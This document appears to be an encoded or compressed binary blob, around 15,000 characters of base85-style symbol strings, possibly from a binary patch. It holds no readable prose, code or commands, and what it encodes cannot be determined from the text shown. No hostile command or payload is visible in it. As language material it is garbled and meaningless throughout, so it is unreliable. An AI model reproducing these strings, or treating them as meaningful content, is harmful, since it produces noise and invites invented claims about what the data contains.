z)H=sqt7H(`U0Lp)!d1CZFp)4+1=uool2M!8tZ`C_R;vf2_`Y&mZG)@{f2 zmMVgY^SFun5q@lq6t<-ka2Y-0)~|ZN4kD(B2>qxhi|6Wq+HE`EU;5|2|Kx3V-rDL; zI3AdA)UVI-u|OxUP$@tRJNl_FeEPDpFL>E2ez6`1_!(iQSf!cj=psQibqYnGB8&v~ zaD=)-wdCN9hC0z(5)9Ge!eGm`iPKIx)5O8D)_)1ctEXLL}1hN`H*_k9IdU(#a z&QuA?oMleec932*FZ$ zFsyHNsW8-EVy?(o0z!FWSna}OnT(k}TtEGZSNy~KH!U8UrqVzs5_~pqli92=%#e5o zp(BnNQ8e`iWMCNa*d!Z|%wkX08e_R^cZjx>quWef8+c=USkW9$t##CQ3%A~X?Tv5# z-q*iz)mvZx`t2v3^5}gF#4XQ&%py?KJ0>Dy%+h>4KCcQ%qf9TK)vCm@NQ zY5=W3Qop+D46`g1QNBPB#$@~?UDHI3qbtm*ElxGtB2(RkSo9EfF=VPt9;)0DW(0kW z@kL&gn@oIs%i5XDxJ1np_Y)e8ekK#Clz1Wum(D&dbI)m2O~Qy-ph=PS>^pH~lv++P zl-!=mVNxWLz7PE%349_c(zJo-6=h@;O%o<^sPxovrerijnZdg6PmWF`4ttOhcNqv2 zjjEC|>~|?xd-T2n@-{4gkOYP|D1wWZeJwJL5B1R+kqRWLEXjG3XYxuzL3MR3&3jo8 z;y9lr@}OZuq9uSvc{%4}8M=^@YK8=(+a4)RSyyg!tbPBkeed|kf4}d69i7pZb79Nh zaDcTp#?CCx&MeHA-BIrxfTF$jmOJly(JOwxu!VC(HVCjc)}z4m z8AGEZBi-)E)Z8(X*7B*z%);HI#?sL&3SbF-#gr=*qE!Zm^CP2$WQ1x(#{m1v%4Zuu3oMORY3tEOD7%K|N46Z$Ugp=|d zTn!>u4JtX4(^YltD$mY48<61I8WcrkP1S1A-0b4M!-v?h3F$Aq7@q`aHWs)g9;zJ^ ziH}ODN+0c79{B3-rUpf;+|1g7G1m+(iAd92Qq~L)eI|eDEJ$<^`W5R1XaaDEcDbpa za(lxfh>DWRcUIdGwSCCEH%J!WFYkNigQOHFZ%hpj58V@P(8eh_Jq*)c3|{PPo*Zd2 z`B;_zi7aU=%N2&noXxrc!?_O9``kfF`^qiO22QEUO3>O!2`q~yM3-P{?-v$(8`rJv zv|IBFJzEr#sv}_m-dC0DR~4i7^>oGcp(97Hc>H2#8FpELN==wWcrzU`J#p#=GNVs{r%Bj)!0IvgaQ@GVL7y@^hYk%1K*X z;mJ5SKiX-vyImOO+5^OXz`g|(zHyGR{ zu)nud_ZH`${q*-`{2!kJh`9jF?mc_p{R^J`yib3=+_Gik zk(sGo5A8m%@4&@pJ?``quiQ5^_e)nk{<+V3{0+C<3D`Y*r~dbcSO3}XzWl$w|NMi8 zj{W%`zVr!CzT|7a{3-zVKCsKz{vY1>`VW5W)2E-h?d30j$&Lr^|Jygc(Tr^JVcC`% z28xlQXWzEA)9x(vmX?-!$yI~p3|VM;=AD~gSXi@WZKu`hE%wP+mBf&XhPj-X`KsUd zhaR1pSU2+07yZ(`cka3MzI(yEYNY+_Uwqmh{n5+*`8}Wg_IG{&Q;?0d|1rWyyW#{l zPlm{WL3Yi=*!V=7O-X+6;g5g%U*7Si7d-11{`F(;yy3^J%v1|9_>)!sZrKR4he(hH-ID6aYzW)7N?|$f<^G;p2s{6w|hX7NSB~Z*v&u>~k z@%SsQ!1W_1o^;~QU3-rmJ~%yh>`7NV;q>iSwZ}((<7F?o__3$neCMsKK;rk&Ce}POpH&?P9HqDALQdk>!cb_L~vEz>2x~n&RlP4Fc_GIv5(Ct<0Az!5%&Tc@~qrwHks@& z<`CVnV0ejmG7`<%I-Sl)yTf%IV{e0pm%Z@;n@b^fDUV|p@PifU~tWiKmM<4zTfJORxWPMn|W0T$Vyp?MgYi^zV5&J zZ~x*ax8Hr{8D~_!Vh)GidX9m+m-BpG*w@^7X7@+PtCDE_$^yROSo(mPa}o(Imd)GAWD{PBq?fVz9K53z~k)8dFGy zr!F*!yj)5g*Yy(!s6Ez3`%buFG~4IbNIKlzdGz4HTaGi4W+ z236mwVsU^py<_H@8SJPm+7loC{5wxPar>+P_@%Q4O$gB=h-n1KCIV2F)SvU0Kjwms zYd0L5+HV311(_lfiiNG5BCuiv#t)L4$Pp>#L%0~~kUfztW~K(GpLD|c=U#BzJwFZ# z<&i3Ch`6w2Z|UgC$8CM`6_y0`ZK>F?gNZu{E(I|pssW)C)=gp&bVC<@aX z_*LVbGfzGp7-Lt14X0RDjDA+bF7SP6vRNF}- z@@Q7|K@<(X5$1C=jI7VhGMDJ-M8>p394vrU*KjoMa0a9CjrQo-OP~T?3tS zFSy`@Z5waB;aD}mXqy~-*gJ$7?BU74c(AhtPps+QcF)xx{KDT90!G&~r zo%7xY1iD*}wr{=v2d{n4Uw!CJ@9l4IAKYITrc}I9NDvTnyR=x(&lXo)bonj!T|?FZ z4yd(2gFtbF;a*CA>TFc_5wTDG5d}OkrNQPrhl_h1Dm<6jP+`96ysjWm+)CyraX$to zGXDmqRC-G!+?7g3&RUDvROSLiA|L@n=nP9BEX$xs9afV6BwUSd%M~#Y<5-Ht4H;H% zmBc-Ud7&R7_kuPKYYL?%;^cC8r!ZvdO(Uiufj1S;BY+zui9(d?FAWpl=+-nbkWIK` zdKgo7ZV!+VkCLa#`$tH#JNa(+V2&GVG6KG-b3l=%B)5|inUaN&{>TJ`7_Me)Asu08 z)d{hTo*LIR-e+2oiHF3falA6e8vz1a7G+Ts&S7Mtb#!v}C->a&$o_}AV{6zA0*dQB zfkR=qp(31=#{d;4Pw?Hgg$#w+F(9YbvN7=RrU=mv zF&pn|&z@lb@?hs3$2xfff@SO6?8(QUar!AI!lU*)I@YmDacly~U*y zw;s2C!}{F^4idZxlRX~BkOj)pm)$YytZt8uyQ&J?e6V*hz?Ptp0FK4o#*hJfB4e$} zorN(RmTwRPFzgK##<1R1lto!sTNse@R5Lt#2D`$7z}|abxn92qI3@?U{-8go>LP6W zL1Zk5d^qROIZtfcWg9To+5zf1toI}%wV86l<}x7_*ANU!#@I~pl>f=QE0!gfQ2r)E zEyZkP*QkY0vX-|qyctiLsu;=!k>Av4ui3054BExUEJL`U=?Q}W=7zrk8YpWs)kvSN z(7Q&3;__i>GnsX4V38V+kgRTLj86=x-kybFdEfM58KT`pEt@nEw~@M?9=Cklf)@{a zy43sR^;1vP!RRV+A}|ZV#7BpMT_!`$`>ENvSANt_iTefxYj$I%Bk1v_lIFU8sZ1KD# zQC-Soy&Zef96({V$7sF1uZ@0~IQadS-$McKGLP zr@ZgsL;DXO1^TvJ|AT98`0985ck{;MN5@XM`~Ev$^*8_Un%{rv$3OT6%jTv#cf9{& zAE^dCkooABzx>KoFMjnaf32#jPJ8qtpZV^GKlXWBjt^=!<;b_cf8FM7oBrsPulVb~ z=-zVsgKvGu`wmt|-v6P`{P`dK?x#Qd{+&Da+<5by@BjBN6=fF~8C2EIM-Nql1pv-@ zW(rjWfV0-rmHFhCzrOvH(?0gGe;h1TJ9q8=qu0EyY>_E!s3D7L4KPp`+wWIj`PO&; zafNKvjoHn(u+&PR-Gd3ZAA-Xl|!y&kg#jlAvs|56mi zKmGk{mlk@~mLLDzSMJ|&H`%uH{dRZktKa?p8KL;yW4u;fjximw{JdtY_8qv zE-Xy_?OXooPha!OUwY2dCq^gU{*NE}(pSD)FvZDS>asrN)g;|ij=+9E&g3LLI z6>R#hW-uGJ2XA0Y(Aj;~xQT+F(M+dM(}sqB;HIAmh-6IOSS=kvAVtPLD3l7v(;W%mc(k-18|&PB^SyuY z$A59>j{hynapyuARb(^Ag*)ou!p~)UqsFIOS+ZB!)_7HiK2ioGMBk#ZHtVf1Co7$= z{`GVJENyxWzZ(848>jkalF-Tm3;*`-XMXylAHC?Ja~Br+(Hmy5g7@S-3R_STA66=6 z$f1ZBL4nt0aZToAH5*Kv%;0i{a%g!7qB%V>)>GqgB(*(37vsLU%m!{SHoE2P^G@$C zI)v3zMzThVwuqRxLTAkEd1Ufk?|Zi`3Rug&Vi@mBAqa#sls@`~N>yiu3|Lhmm_Iiu97-jDWY)n{DMaD2(|NINjzT)zWd&d}D7*D!Q zf=W#^QJ!^~`7k%Ndl?5I8`P4zuv`uV!~~d#Ts;_DfBe&)a{1CxH|QJ4`9cy-0mOzd zGH$;0UtdFw$3NpOcGhs^4TUQEgb!Fl{Y8foPkZ8%fBcgl^u4oG$h1SkwWr@VajZJTZHx))W8?)y7opYLIDl)?RnZ4?q6J&%O3l zuNj%B`qQo`ED#pga(Ha;9aZJLYj4}UeY99JsFuifm}}NhKXg3qDTGMxp}C$=wa-Qn zgj{qQK0za4WoL?BhF_UvWTeYDg=~pSmMoZ|42i^W44JBCA|m~X-DYChkJz)~e1V%3 z18|xDN#Y9=QB5i;H`{G@&pG{c&)C1GS5N`t;W=V4VgDFn2D!?wT|Ihe?!o{3uMZL( zD_ZO8YKZ{$R`1yHzaRh1$6xt7zjt8YUhfQX;o&94jIPW( zaAgiYTAy+9nSf_kd0!jjBUva6M>wT~Na-${kG;NnrJD85Xp)g_0D=@{A=QCu>c!GksPiAbAdV+S8}WX<9GQzIsS}Kutz=wk3uBm(xk`x& zbP;`|jkGBb*5VV^rvM-?`-RKB0?y_%M~3W5F)AlS6)~U_!!K1X@*$%C%G7{#B%w)C zB~7$apCHwyK-kIyvLwThN>F3xO;Y2Rt5oPymKbX;%!0i}%4syBF``h?$R;5s>o8^H zHrWGJC!4SIy=aL(uPMj5iA#vF81v*2dHAN~?uzpN6V(tib`X(wum#zo1?rSVi^&tg zGkF`1ZZk1X%P@FrOKZzeMr2HFO&y?2vc@(URvxKL*8Me-CZ-jdVb+>yIpu6&Oqa}t5#DH{29+L^$}HMxqh}nSgQ(L#9=>K&7=U@7a5g zuv=@$=nR3_7+-VMA5;v$bGOr4J<$c%;qW}~9l#^)F(Tt@9&j}|H3d|F1FEU%$=T_- z^=n6+_hnhKM>TNh6wcLE9l^?> zLKKzUHJBUEw^)Om{Tg%g_Z)6gKZp?2<%InePyIj|Al$ zie;7~yOg{7%r7lX9XtH#|NL^RJ5txC9NqMecm5-oO*vAAQhIBdUD00s#jk%8sH;I`+g;}N zhd=u7pZJge@MKVKn>jZ5_IJFw)mhu_jxNm4`r6x8*R!iCSGK$R_Z|7uKYN`m+RUDq zzy`%A6K=l!{zIE?Ym8C#U5xbE5;uf6VCYg-;Qb4~3HM~}_C z;qC8S{lRqve{Avyv1^TtS#sQIEe-fzKm37z{pcs#WxL;-gYmY#)-jje@jGt+$uGa; zH`lIR2jh+&J8amrIuqXeP@SZ)R1{riL%eR?+M?Aya%?ij7Y#XPom&oj0Uw>7URYY# zuy*yHJ$sz55I4Aswu#xZC&PnR{r(${9GZG$|Bf4OyZKqqe&(5HoZPZ>_|TF6z4qqo ze|)X;)as59IY16(Y9s?l&K9t?B+sw;%QrClvfVLciSYV&zKaZdhUpx4+fRP-YrlK* z+VvX-b$@>90MMe=IN8?0gGXNfmUk2*tH#Ghdy5N83kzj?%(h1AYEZU2Gc$|-_>Uj? z;0HflmNYjv=V~rTwm-UO-yi+?>n2vOadkB_b*v~_?ao-)o|s$o|MZ>@xVm4qCp?t#0?|(aAsj(?2bW?#O7nVn>EyYz#7!^@3+_$dVoV;kDOZf8))YH*6|9#h!h8 z-JoA|)_dna^odU~J5#jCk}bzS_>oUlg9Vt8qTO}eecd%byy3dBu?b_a*zcKE+lKR0;%;&w zFfh)uv9xjRT7YL}=bh)mniSoO6>`BzZi~5*)B04o6}!8^;Cl+JiIq-Er4lkGbfaqA+gYNp=eiLkJ0p zHF98)QYvETdE~V$Mrx!K!!S$6)6BZ+IOJX}YSCgL%>)~d(s-#E7#M&8*a!o7U~v4_ zty_*?y)eH7OAJq-xTixX3?L>?rnH?g^X+f__ud0L%I<{sH4}Mnm=#_O9Su|bQO1Fq z?daU#;V*vStAF$QSJ{G`^T~iKH5kU4LBCqR38$ZV=5;q;@42?7jAsh4Vr_^|6JkjL zRU{gL!Wn{|!vS$hrnt|A8=zm|;)^dl^Yk?2d~3Wo<8_P@gBpMl4+Zwbij*l)*4Wtts8bb(Q*~}dEPk+i2-uIE!^ON%^;eCK1f*obG zfJs=AGa^mrjX_~yEv!XRP*moGm@tRhK##am8sQzwwxKeUgW7XV>=_QW1022SrmG)) z?(^1fI)3-z#j<5!m@J57t4?Av6b^=6vwH3Nb?bK@d8F)&dhcSTXPp1je~G?~2Cc)$ zGQ&*CXsawm!@&*KH$_1ov(k04EtKpV&_paD7?PeZM#~?Rbvl#y=8I$RL)|feu*SiM znj#8sUAz+UBGFDZ>_NsWK|4ySDNJ(IRn|L7_Nvb?Vudb4gvbx?iNqos>5=isCr?I1DNnSW0gr>2>$aIMGk6 zn|8+wSntdj#tpO2x+QUhZj$Gc$*fqa$wO_Kd^SG@7b!gzJTZNci%e=JDGCwvzoY;; z2Fc6;np28`<2gBLpjz%M0Zn9-&_cozBPFU5m=F-K_{b;m+;K8Hc-|Zz(~48wP+5P9 z(1j<30z-i$NOn&VJw)?E`9=(cAQ&W}kW9nn&X!0v8U(@_D-?K31O!+$L^IK(hP6ns zW=C8oh8xWcjEoq~SFjGz^ChM>0*>X80apGbgTF~8&H)O8iEA}rULQN9F|vefda4`XSrZ3ijK9mV3{|>&@7SYJeoxUKYdJUnWN7( z7FAt8yn9b;#Q?RZ?($7V6bY{$lt&Bqu;ycTOsbUg?07p zbFO^ed*1a1OJ%Dxr=4_Ct2A}pFWVhvc;fKr=tvoH!=)7DhcZ~7q9S3pXC~&tTKF0~ zS1q>dy5<;4QMkYuTXs8T(Hi(_a(12#`gOH>)v6~x{&C;<&VSEL&zQ0`SU9+8{e~w$ z?h3~>fQ8<|?mc?}c&-4RnmPRF-u>H-KX-Pacha`wEz+AxN?xh!{YjPD%@0CWJ=~QOd^Bbf! zv18#TZnQhpIl;p)tb)tj`|>}AWjT-8W0I^_C7IT-QZ~BuRl{L4p}o8pjYn%zkw1S~ zmypFt;)N1BR2V6{Z3rA~b|DzY46%(w8M=~w$~aYSA_s<}fpFgn_M-8MMwkf8xSUt? zCQ%Yb6xJ*(%pX2_bi>;9tHwuW=ND~Qsi{yssBD$+T_xq#W4$-=Wz5}5>vWCFkGm#DaF1n)(cvl&= z#&no~!m{V7sYzp8t2IJo*;PbD?8q83y2g2~{h;iQ!W005YeLZ;9S7{>%sjxY)*2!( z*MhXDG{-3k@9XYJcgyDEW*6osr)Eu2#w%365wb@T9iqjBg+qrA9>00>s)^B~lQV%n zK^7QbW-`_kL9barj%Mwz|$jy%ZNaJVH1#mH)AUg-4!wuX!ihe%u5S@#s`z5w5DObvas|z>vY+a{Jh!_OtYD@Jgr=Hmv!?6QZS(cDGVF0nP1}S{@*VXKSQ%*Xu z)3)=y${HJ?Oz6ybKs95D1c*pCArNu|<6{iGk6PosVdsS*bnNip^ixi{@Pdo(*l|7k z8t_EUkOyE*ximj{+V*XayZmB!^yj^8v-b>`0L*yKNK8bAxn>F`o}vg4$&$iwq&JZd z;5X|rjmdeRAJ95{SKZ7c%*^z@JMR9;V=sQj z&i+iPC*%qhnZfMIn5D(4JJy|OuR6ALkf@`cBF@LDaZ)i&{t?3%WFW6(%Q1zGDND4e zIxR1Cj*!PiT4#lXjaX9{#3^|aEkn;x#aEE1 zz>{cKjV*cu`}P0*-5Lto^e%%lms^eyq6w81Krm7vV>dZ4wBhO_?2MyZHR`r>34aHrDkHgQ^e$ShH4}Ru+;zuYca*IT zbI+7?M6d;j!Jgrbg)K(ZARB7|AGWR4I8aAI1ZzW0y^DUCohizw z5S|HxqA(~+crZelUYIuz+uy+$1Aw^-$DaJ~N4FM*VN)@;tg+s^Ox085Vr}68up@Xd z8{=)a9d>6A%YjLpCwp&+P*^ZL*U`3f#mS zfE^&S`piCTh+G!T035&w+nBUl%*-50{zER$hKgAIkko=SBm*Q3N6&h7ciVh{nX2aF%R>3qmzU z8SVesisVFC&X|#L&yVg0L%pu z@sKl1wp1=o1qY!O?UQ+a59)!3kMjm4|~EW4~TsDS+vG??%uIu$HR}m{E|VR zqNgE%DJ(|_gJZ^^k8Q_q?sU4d3ri?HNR}n536bp6kQB2=h$&KunT$cvq8eNeSgJXL zhlaIgVW!%!x%JqK&->gL*Y*dqWqX9EZ^#jmp%!@Q^wZCH%z5W79jm+#RS_Zd2pj&Q zXu(>lmY6+x5EYbWPlejX!dPRC1uVz{7T|CSk6@a@6%kZ24004ub&wy_W9znF`J_u{ zk5;aZ4d{e~+=h`cbH}xJ%*-9@RkOF>dC$d{oB~hYF(}}xTFFW2(TanSSyfb+_*o2WpQ6zFkH>9X6Kyq4)C69MkU$2mqBwh z*cwezIXyRf@bKZXMA2yKHkdeI*LaSl(+qe!t0(nAV zF+a&PDjCxs8p#M5l1(LvNs-^#XeoW3+y>{(G%|x|LbAd-?JuWDkB1CGc!1i`9HbSa zl(`eJ>>$~m46$4p98VbH0pK@n-n?P$y1hGk^?DE)EfAJ^y&b!DUh$Zx!&QSp6~gVXEmZ6pc_Qj9ad*5}Juz`~ zai0mt4acN_A|RD4ouc~LlM|^m*VSM|CJ3c(s!`f%GYQh^&5Zc5B?&tO*76KJaxkB6 z8nWve(yB*Eq>E9iNqvG|on%tHn=EAswa}@}_*9S{D@ZYpNQhz}P<%j)OT2H)NkhVh zrhH`r2Z>6=1!r_4!3d*YkFzxiIE;upjaUGTxHWH*GFC#wC{RGnEa?r0 zIEUw&NI=rKN5bGJEu>^msuqVR1!bgRlSTuofzpD08%Iu&2#u4u12Kk3fQ-`eRjlh= z9s(`EKq?waB~s!ihX5^)Wbb@?v^9OCclv23{Qc|S@q?>x{KkKObMN6t zJ7ZlK563{P4NsvYXOUbuK_|=~>rtK|#`m5<&Y@MbM>@8y7a8lxgqfM#!ZgRO{mujH zq$iY(h!8Mkf+@Rq+fU!I>`JYoCRb!*3_C+AGT zV{1p>{Er_$d}Lo|bd0?Rd+!{D?XKAyBBFv|2^!5fknvz|JlQa**{KJ;lee69>M2|6 zL4Rbtweu&BOwUX*c}4|ad0!W;_U?TL9(nZe#|oZy7-K9|-g~$gzVPWUdFjuGy+^DGlS)+AZhT|=``^0d zH(&Y2#o43d0Ks~N2{Uz|2&%dgVt zf4EJ~XgJjD@<%W0E#+ia(y0(@rqWnzkonE{K8vS@7#002Ab{^Od^tynCCCcVN#4>B zuZGE^{G{l2!q}~`(^Jz24j$RGant0~%z?v4$y%9x3s;7C&c~>mKy2XQyjN>&2(~p6 z&b3`>HJ8LJS-=iJ_8nm{xLzZFFhF5dP6}gW9+HFxocb7PZxD_@775YGSLV3pF1V7E z%Er<=CW7;hh}-S<*S`660Ik+I;Joul!j|QUAjFO92(W+)XCN>r?o|Sin7CYMVwHe$ zn?r4cLC!IOAu(;F~Ve7W3*_lI!j}~P~L`+7Z9;ARkJRcawOwY{j-n;jd?b|kO z+^}cgeovMtR|xW8xNug1g$LOAutO6;x~sM!Hmit^>Onr+8-p_qjs!~~nbnO2fUFy7~A+Q&UGKj|u1} z%ooQ*jIh^vcDoU#s0_#TqaY{>seeieAk)=(v?8M=EoT(YieQIPN~J-R>!=JSrll%| zjjWO4k?oqN#5R{BO&SOm5;&?{Qf^B%Oih_*4zndw${P6*WxGtVloSY$NShLYm)0Wg z28A!7E83MivhPo%fE>!CVy+g^%L7B~6n3DKT~ISjP$iq7*=G8r8AK$KD;w3^2zs2< zTXRvd8kv=flB@P4UjraSP7g^~;&3q~SZsS_MzqrDIn9g+xwvQha%vFZQ&%W8nfjsI z=H)Vw1VdcDTKg1krG7@iY(yHO)RKNTmnf*8Pm07~f+f3VVge4nChy_BU>+31V=}~^ z%n0^8df?#UeM|+y!h}c+Bdp5yn24h{L~MwxDf^h(_0U64e8NS>hC0Wvo0AGY062%L z&*SZ`A%d?MC9zJYL~j~)&m;m_NPUZ#MH#AT(^9Wj6t=Xjs>g=N%chnfst3HZgbU6) z_sr8yyJP2dhB}5TLPb>6)huAnKKFt(YdU)#nD;PTd9V?CfTB%H)u1;sSi5Glc5Ede zSN4)&co<8@LNPxgtD|T}MrrV&q=ire3{Qp^F23-xlg?OwWY=QY+#@bo^diK>WZ0JY zpX;yb)qSA+{?*sKLcrA|kpPW@wT6DtIIdnxCvxLr;cZsgS90(eh!5$5(@=30roj7zM-$ zTc60e{PDVmAX)I}$dl0v-jfWgUkeciC>+3$Jv{cu$9*P1>>XgnCsr4xJ$ZDtuHig~ z1j!J{=-9a^3pW1IeGg499BOsPo#U|0u^`5r`k!lKJP^VYp>qC#y*oN%^~q1GUrQ%7u2i>!oyrykxy~-FzCae4c>vuw)=? z6a{cB)+gy)oCOR~Yex3mKTGH#iE7$YG_p@!epVdLX)r3~`f9kJ<*2B#L^2=-(th>@ zV5l0@?XrB*6E1w_vo86KyPx|vw_V*C9Vhav(Z((WHmZkFp8AZlw9iWCu@&IMDm}^pd87}c2wkYQN{Fe8< zcg?ERzx3?K&(18(&MY3kWmB=O==G|}$%XD{8wLNvKY#vHpZj#H+vR92xiq%ju}eLG z;CvlR|HBRu#6(mU#l+ai=tygHqQxZ)6~K|lUVQ%c6V@-zEOp1)ckkS}xHL^RI7jcj zx3&$Qdg$RtA9v}6b+6jCZR2StopSe%d#kDn3U3M`;z3>4b&VLuxCR%aX$u%}2*<1~ zOIzC76L}sC2EAS%p~iqY93Vfa2G)(wPtP&c&R6Y`k=fq-d;jgjt#;>k{@<_6PtVWI zFN}|O$Hzxp?Pg{d*Q_5O5I*ps&wlz#Ul(cF`G5m^cok5IU-a zczsH@Wws}MmCstGXQbwuR8$>MWz6ndNm-UPf+1~_&r*<{^ipt6`8&m2S+gXcCE8@q z&pJja-^=>O(xqix&5T6;v=v5_p39BK#c8SoOQUQ&J-t~@nia9sbYnKHn4Xw=+x(DZ z`+p=Sm9D2G48t$V43hRi0sc+h8)TXpJx%5ah^WMHgIi!pzGEHFS!F+d5Aix~wT~qmQiQ;kdpy z=VS`Q*!z0b#Q0gKo(`Cu5ACW3E}S(l_><0mifIxjMFj8h@a{cpS52IL@`-Z`^Hb9^ z#)dVk;%>5_i-}_aQw9d4HsdhV2tknRJ~g~gwlb@<5L8qe zpnNnM9I?otmP)CfDgs66TImi;H-)evTFLEk_Kuf*D&iTSC8UU=d1D&o@bGiQCDlUI zgWj5n@v}}oxn?}PcWYBqJ=KO1UV6kg;$k8)NfGp=q)$*(F1HNHT~xKn13 z47$Y1dKJLw-rRDFAz1!6imPB{blFYe%kY-6>0bHAAlABX2H>(J7I|Be-muzPj#N$| z1ENLGXxDs6F3JtQi+o5MB(^Q8DJNZHrG#_|LF6g_mSpfj>4+gXUCzT~Fm-^9g6c+} zGlf+1oy^&<4HCI zP&kdraKK-WO&;r2^JRMtFbGIVj&)_dl!6q$=lrU5<@MjVu~Uv;e#K+iJ2wcp7zeD)STi%( zJN={+&p-d7J9gdx9)KL7wx*b0JhEl&sgJ$*(rO9wQ@%55{U8QgAxat@H+SB&i{~0DW*42@CV`%{Ynf|?WpVT&Xvo|_W_`e5Pee?`Ef4(o)o*$= z4@L*ho3;aSX)PIez&mE*65YZUN2mAfpWIKj3xL_Ch(VmA#MN0jVz8K;Dg~rqQtW;F zSUqY6;3>wXj-he-P3EW=U`VMji>r_HM(kM>04eJv5QXELo7rz8ijW9~;%vDVi%{fp z^ne0xsh>cy!ZNEQOEF|_Rx2l?^a?4pM-070;mW8g@jmIfx-HTV)Bhp9kek%+Ne-FS z97yMsJq_Ne?P^8~kW?&{Gs@t@Stp?uJnf>YNCk6Gki6D)L^(-H;Vh(Ph@txl>3WozKm_#)A#3 zLfPd!bYlj3B<1z&0lVkG{=)~4op#FBa&6mHZgFm~@bJ>v=Wcz^JKy+wfB2WT-+SZ8 z_-gh82%IU6u&go)JAbh}#YmLl>S|EcRaM)5HCVf0V*7E&m+dxsbFeM;l#MDhXkxKJ z!$S!jIsY(?Oly_^V$Wr(H90@?`+xQ4|MSD=z3_Rzc=~DE$&ze{h2szkA=K9}w@$=6(?c|ZRB_>-GHTxTH-SMGMeg40${&uU=aty9Ls0@~{ zH9B(Nj(cD9+kg1Vm;J^wpZ=6B8&(mFA@<%MJUsJ>&wlsgpZ(0-SuV{WGYr2=-=>T)zksAm z*^o#&r9+nwv&*9O%|4T2d?gCyEvwb#?EYa4Plua7srjPRYk;=%MpZKlAhxPu%hFBh&Nq6e_gAalf5daY@M5nPx(-g+QDL&EnIL6-_il ztfU1pbIAm-SNKsbm8UmItpsTBG5ET~%Cy@|7KKXhA;FPh(wfWYE#uuRvZA2`HJ%xs zqz*KNW0VDg&xjI0>SA0K$gvgi#-VN*=U!pyWdQ zLp2ynZlMM{P>7Q60RS@b+y>1V5|vCKJQ2Zid^hN@zVDd^jMjc_b9{KvX4oMR|q1c$dGh7+XDkq_(9n&!cFWrP;xTjh)Lcz4(h? z-Pr3L9vLa(=`_4})|sbYeEtPfM=MubR}niR8;M!82nP4wx9h&0KN%nYwW%ZCTB}h{ zM6L`%RVJBG#bY!q1}l|vQ>;soh}k&LL|j*HV%^rKJ^8Z5nVKD$7MWnLJRs*{vFGlD zz5Ui*hmJlnLuX0;-ex7iOj-uwfz+H#LJ(0-_9Fq zZ^#xzOkgHMo_!4169$85m_koks_3EE8@tH9$W0v=sn8oxksKmXJP{)L0%pLN0#vn% z*7#W0lwf$W$yUZ#iiyLPY3#vrcxxOaC8?9@(kLsOMMTm&i4U2hZ({MYaaMWAucN6< zY07liB{v>|NTj%7L%`icbxBkdhEg#b3C`%7O;a*+qFM3jF3zSz$dX`14>=xWLSeT$ zRuRlb#li0a@Kse+m2)+`9EKkAIgZYseKhkFW_pZ?@KK_Smwl*phAbkR(aW(%L5qXA z8}I%maVfEwll0U`m9+&7p-n{_OdOB7h%_Lb0G6Mm{1(5-5vy80At~^gm^{FMk~)W1M64=w(v$S;6|jD-vhZS%9*w$0eYmB z3{(BR`loD6>gm9`(Ysm`xsUbctaKym5NCR$q$X0&tGi%HxWYL_Q|hh37X!?sK}Kj( zR&Ys< z*)x0Fs@JU=|JpaN|I@#E)Aan2*2tLm&X_jX$4N7YjaP=qXrj7`C~L`|@ID8+g6_Mb zEC!Y-)1f{ymkOZ;g(U2|K`A=cyc7`=eWKx#E{z zifT}_%f;TJX#sJn70x+Zwx;G5e)V_%&@hTttM)xMWvjE{pFZ%f@A=>deeD_bVsF8= z3o^kTSg@_Rw(X7I`QZ<*zVXKvw(PVWS8R+m#+2r*?|IKV-}`I+3sZ*0H8%|z~ zSe~gh6oE0M7EJ&IQL0oG8-2K4M0wlIkV+XeY@r%A$oF}6l_5vD{iN(Z zQg~toiU(#hAP{2=3ZmWToQGL@3nF7pdF<%qz2<@QPdoFR(@uGC_oIiWr`UN$TpOT{ zPMT<>xB5S^l)F->Fi5;l0nZSDBHKc;XGwX_B$fwLAeo+7Pr2G^#skj9S^{q_iehGF?(X|`oPYMYkGbId`*%Kg`0x?$*+grc)@|ss zGX^!Zh=?#m%-nj0ZQ%@fs z8^3GUgOBXp1F$hhWrj0?vcwjoG9e}c2(?8KbMXNbi`z7CjJ??q;yD)r-3ycBn4|D< ztUchI)G44%q*hau=%aO*qd4_r-lqL5odkCS?kN{9s8=5nDndka1YQ#k z$%80w5sjI@pZUr-IK1>CW!_N761v8kTZhg!6eeOE$xMd+Q{x}&CWfq)lH%?tlC`dx zj0NDmH`Wte*dLQQBxzaV%617OnRUh!=2YJ5Lw+0QHasXRK;W?XajLwa z+~o^}YaLZ? z&<8q?x$u&$o5mj6xnND{uW5H|B=J3C!H{V7*|=F9&wJu^?%5_u96Av;nlxS*aihCW68L`HcIXDWqm#W2$7^fy9HWio~dSXY2GJVC(Up#E{m4aW(s zupr8_H{h~}E7Mc&W5_FhU=$}3DWG*6vv)bNBn>Q!k}-26KU zSN>76$62S6|Ij{5uZEndma&owbCwqAOE&qEq*<9J9f=jJ(S^!8eOT&}*5HV94l9bK zQxrTLajd>n!$IjKmufm2mD?j05OLOd7Ke_6IcF41b}3wt3``iPP(q`3QT(O>O46FY zD7#8#P&|iC{|i1ecku9?`+s=be}D3epL^q9{oSuT_i292%r6X{`P3`F_RatL{V$JaPl`9bCCB`UgQ zdyKgsR&S-2B|eXeO~Sw!97XFBDUjT*K+wK2hVAHhRnj&rn+ z7N8)8OM}G)w?H8DoVBG$MidtY*W?HN9x-vRj+V*z*~LZgYXTFIu~vF0=b|!G>l!-oA&~ z0U%>-(K4;l80)!;mVQ{|w5qQ;5g?IK_L+KuW{@wxNNlBQ2tzff84y4{K<@vWBBD=i zl#eEPYg&`cMXxkSLn?0tt0>^*RBYHrT?nwi2urQ(M((lp+P z-%Y-cU>YN(Tsl}|8|hb0h1?BGq>Jz&pD@`dFh3Z*|TroLyzvBo0|(x+{B%eO-5Hv!$?Se(<34M ztx=hhKtKysywFb#2QwaI#FlUJ=j5M9Wt6BPsiyRA1rrrMUkNV~B@@^$|0=V+sROK? z%fuIe#OZm@Q&gQ=6|+IesgkrY`$WXh>e}Ca-+hnn-3LQt zEt-{-jph_c7HJ6Pg2WYu8XyDmvc8rANfBcZ60^<3@lbPu5G;8p&Vo#FQL1N}CWrw~ z=5(38ml%iAG@<%N362m4mc`f%P{C?IAV5IQiA=d0kd%&6Ouuj?q<~uU!XU$9a>6O> z2oZ2*?DHpyY9gE|sS`BO4aUc)V~Qq9p8&Dh;V@`2vLjmZI-x-)l~2llBs0oL-z518 z<|aq}IIT4P)PVK8Kco0NwF5IoDhT9lZjYVTAm#C;|te$S9^950L?r$QBoq* z7$0A=W7mDR+(1trkv<6?BB5F zTfA~SaFO+PwzAV>KL{n_1>|Epdpd45DQKO@8fYN+33}X5h(6KZb0OT 